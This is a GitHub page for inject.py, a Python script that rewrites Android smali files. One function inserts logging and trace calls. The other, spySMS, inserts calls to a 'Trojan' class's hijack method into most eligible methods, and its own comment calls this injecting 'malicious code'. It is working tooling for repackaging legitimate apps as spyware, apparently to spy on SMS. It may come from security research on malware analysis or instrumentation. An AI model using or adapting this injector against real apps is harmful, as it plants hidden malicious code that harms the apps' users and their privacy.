-
Notifications
You must be signed in to change notification settings - Fork 4
/
inject.py
275 lines (225 loc) · 10.6 KB
/
inject.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
import time
import helper
import process
import metadata
import smali_parser
def get_instruction_from_type(trace_reg, returned_reg_type, returned_reg=None):
allowed_types = [ 'Z', '[Z', 'Ljava/lang/Boolean;', '[Ljava/lang/Boolean;',
'B', '[B', 'Ljava/lang/Byte;', '[Ljava/lang/Byte;',
'S', '[S', 'Ljava/lang/Short;', '[Ljava/lang/Short;',
'C', '[C', 'Ljava/lang/Character;', '[Ljava/lang/Character;',
'I', '[I', 'Ljava/lang/Integer;', '[Ljava/lang/Integer;',
# Long and Double got 64 bits regs (wide directive)
# 'J', '[J', 'Ljava/lang/Long;', '[Ljava/lang/Long;',
'F', '[F', 'Ljava/lang/Float;', '[Ljava/lang/Float;',
# 'D', '[D', 'Ljava/lang/Double;', '[Ljava/lang/Double;',
'Ljava/lang/String;', '[Ljava/lang/String;',
'Ljava/lang/Object;', '[Ljava/lang/Object;', #'Lorg/json/JSONObject;',
'Ljava/net/URI;', 'Ljava/net/URL;', 'Landroid/ares/location/Address;', 'Ljava/net/URLConnection;', #'Ljava/net/HttpURLConnection;',
'Lorg/apache/http/HttpEntity;', #'Ljava/io/InputStream;'
]
if (returned_reg_type in allowed_types):
instruction = ('\tinvoke-static {%s, %s}, Landroid/ares/Logger;->printStackTrace(Ljava/lang/String;%s)V \n')%(trace_reg, returned_reg, returned_reg_type)
else:
instruction = ('\tinvoke-static {%s}, Landroid/ares/Logger;->printStackTrace(Ljava/lang/String;)V \n')%(trace_reg)
return instruction
def printStackTrace(file_path, file_metadata, keywords=None):
'''
process the methods of a .smali file.
:param file_path: path of the .smali file
:param my_tag: debug tag to use in logcat
:param file_metadata: dictionary containing the metadata of the methods inside
of a .smali file
:type file_path: str
:type my_tag: str
:type file_metadata: dict
'''
buffer = []
method_data = []
valid_regs = []
process = False
# If we do not filter methods based on keywords
if (keywords is None):
with open(file_path, 'r') as file:
for line in file:
# We ignore the abstract methods
if ((line.find('.method ') == 0) and (line.find('abstract ') < 0)):
words = line.split()
# Retrieving the method data from the meta-data
method_data = metadata.get_meth_data(words[-1], file_metadata)
returned_reg = method_data[3]
valid_regs = helper.get_valid_regs(returned_reg['reg'], method_data[2])
# The returned register index must be below 16, the method must not contains any monitor directive
# must not be alredy edited and must have less than fitfteen register
if ((int(returned_reg['reg'][1:]) < 16) and (len(valid_regs) > 0) and not (method_data[4]) \
and not ('printStackTrace()V' in method_data[5])):
process = True
else:
process = False
buffer.append(line)
elif ((line.find('.registers ', 0, 20) > 0) and (process)):
buffer.append(line)
buffer.append('\n\tinvoke-static {}, Landroid/ares/Logger;->printStartTrace()V \n')
elif ((line.find('return', 0, 20) > 0) and (process)):
# We mark the method as processed
buffer.append('\t#printStackTrace()V has been injected on {0} \n'.format(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())))
method_data[5].append('printStackTrace()V')
# We set the reg containing the trace
buffer.append('\tconst-string {0}, "{1}.{2}" \n'.format(valid_regs[0], method_data[0], method_data[1]))
# We trace the end of the method including the returned reg value
instruction = get_instruction_from_type(valid_regs[0], returned_reg['reg_type'], returned_reg['reg'])
buffer.append(instruction)
buffer.append(line)
# Resetting the vars
elif ((line.find('.end method') == 0) and (process)):
method_data = []
valid_regs = []
process = False
buffer.append(line)
else:
buffer.append(line)
# Overwritting the .smali file
with open(file_path, 'w') as file:
for line in buffer:
file.write(line)
# If we filter methods based on keywords
else:
with open(file_path, 'r') as file:
for line in file:
# We ignore the abstract methods
if ((line.find('.method ') == 0) and (line.find('abstract ') < 0) and (any(keyword in line for keyword in keywords))):
words = line.split()
# Retrieving the method data from the meta-data
method_data = metadata.get_meth_data(words[-1], file_metadata)
returned_reg = method_data[3]
valid_regs = helper.get_valid_regs(returned_reg['reg'], method_data[2])
# The returned register index must be below 16, the method must not contains any monitor directive
# must not be alredy edited and must have less than fitfteen register
if ((int(returned_reg['reg'][1:]) < 16) and (len(valid_regs) > 0) and not (method_data[4]) \
and not ('printStackTrace()V' in method_data[5])):
process = True
else:
process = False
buffer.append(line)
elif ((line.find('.registers ', 0, 20) > 0) and (process)):
buffer.append(line)
buffer.append('\n\tinvoke-static {}, Landroid/ares/Logger;->printStartTrace()V \n')
elif ((line.find('return', 0, 20) > 0) and (process)):
# We mark the method as processed
buffer.append('\t#printStackTrace()V has been injected on {0} \n'.format(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())))
method_data[5].append('printStackTrace()V')
# We set the reg containing the trace
buffer.append('\tconst-string {0}, "{1}.{2}" \n'.format(valid_regs[0], method_data[0], method_data[1]))
# We trace the end of the method including the returned reg value
instruction = get_instruction_from_type(valid_regs[0], returned_reg['reg_type'], returned_reg['reg'])
buffer.append(instruction)
buffer.append(line)
# Resetting the vars
elif ((line.find('.end method') == 0) and (process)):
method_data = []
valid_regs = []
process = False
buffer.append(line)
else:
buffer.append(line)
# Overwritting the .smali file
with open(file_path, 'w') as file:
for line in buffer:
file.write(line)
def spySMS(file_path, file_metadata, code_to_inject, keywords=None):
'''
process the methods of a .smali file.
:param file_path: path of the .smali file
:param my_tag: debug tag to use in logcat
:param file_metadata: dictionary containing the metadata of the methods inside
of a .smali file
:type file_path: str
:type my_tag: str
:type file_metadata: dict
'''
buffer = []
method_data = []
valid_regs = []
process = False
# If we do not filter methods based on keywords
if (keywords is None):
with open(file_path, 'r') as file:
for line in file:
# We ignore the abstract and static methods (to get the ApplicationContext)
if ((line.find('.method ') == 0) and (line.find('static ') < 0) and (line.find('abstract ') < 0)):
words = line.split()
# Retrieving the method data from the meta-data
method_data = metadata.get_meth_data(words[-1], file_metadata)
returned_reg = method_data[3]
valid_regs = helper.get_valid_regs(returned_reg['reg'], method_data[2])
# The method must contains at least one free reg, must not contain any monitor directive
# must not be alredy edited and must have less than sixteen register for the p0 dependency
if ((len(valid_regs) > 0) and (len(method_data[2]) < 16) and not (method_data[4]) \
and not ('hijack(Landroid/content/Context;)V' in method_data[5])):
process = True
else:
process = False
buffer.append(line)
elif ((line.find('return', 0, 20) > 0) and (process)):
# We mark the method as processed
buffer.append('\t#hijack(Landroid/content/Context;)V has been injected on {0} \n'.format(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())))
method_data[5].append('hijack(Landroid/content/Context;)V')
# We get the ApplicationContext
buffer.append('\tinvoke-virtual {p0}, Landroid/ares/Trojan;->getApplicationContext()Landroid/content/Context; \n')
buffer.append('\tmove-result-object {0} \n'.format(valid_regs[0]))
# We inject our malicious code
buffer.append('\tinvoke-static {%s}, Landroid/ares/Trojan;->hijack(Landroid/content/Context;)V \n'%(valid_regs[0]))
buffer.append(line)
# Resetting the vars
elif ((line.find('.end method') == 0) and (process)):
method_data = []
valid_regs = []
process = False
buffer.append(line)
else:
buffer.append(line)
# Overwritting the .smali file
with open(file_path, 'w') as file:
for line in buffer:
file.write(line)
# If we filter methods based on keywords
else:
with open(file_path, 'r') as file:
for line in file:
# We ignore the abstract and static methods
if ((line.find('.method ') == 0) and (line.find('static ') < 0) and (line.find('abstract ') < 0) and (any(keyword in line for keyword in keywords))):
words = line.split()
# Retrieving the method data from the meta-data
method_data = metadata.get_meth_data(words[-1], file_metadata)
returned_reg = method_data[3]
valid_regs = helper.get_valid_regs(returned_reg['reg'], method_data[2])
# The method must contains at least one free reg, must not contain any monitor directive
# must not be alredy edited and must have less than sixteen register for the p0 dependency
if ((len(valid_regs) > 0) and (len(method_data[2]) < 16) and not (method_data[4]) \
and not ('hijack(Landroid/content/Context;)V' in method_data[5])):
process = True
else:
process = False
buffer.append(line)
elif ((line.find('return', 0, 20) > 0) and (process)):
# We mark the method as processed
buffer.append('\t#hijack(Landroid/content/Context;)V has been injected on {0} \n'.format(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())))
method_data[5].append('hijack(Landroid/content/Context;)V')
# We get the ApplicationContext
buffer.append('\tinvoke-virtual {p0}, Landroid/ares/Trojan;->getApplicationContext()Landroid/content/Context; \n')
buffer.append('\tmove-result-object {0} \n'.format(valid_regs[0]))
# We inject our malicious code
buffer.append('\tinvoke-static {%s}, Landroid/ares/Trojan;->hijack(Landroid/content/Context;)V \n'%(valid_regs[0]))
buffer.append(line)
# Resetting the vars
elif ((line.find('.end method') == 0) and (process)):
method_data = []
valid_regs = []
process = False
buffer.append(line)
else:
buffer.append(line)
# Overwritting the .smali file
with open(file_path, 'w') as file:
for line in buffer:
file.write(line)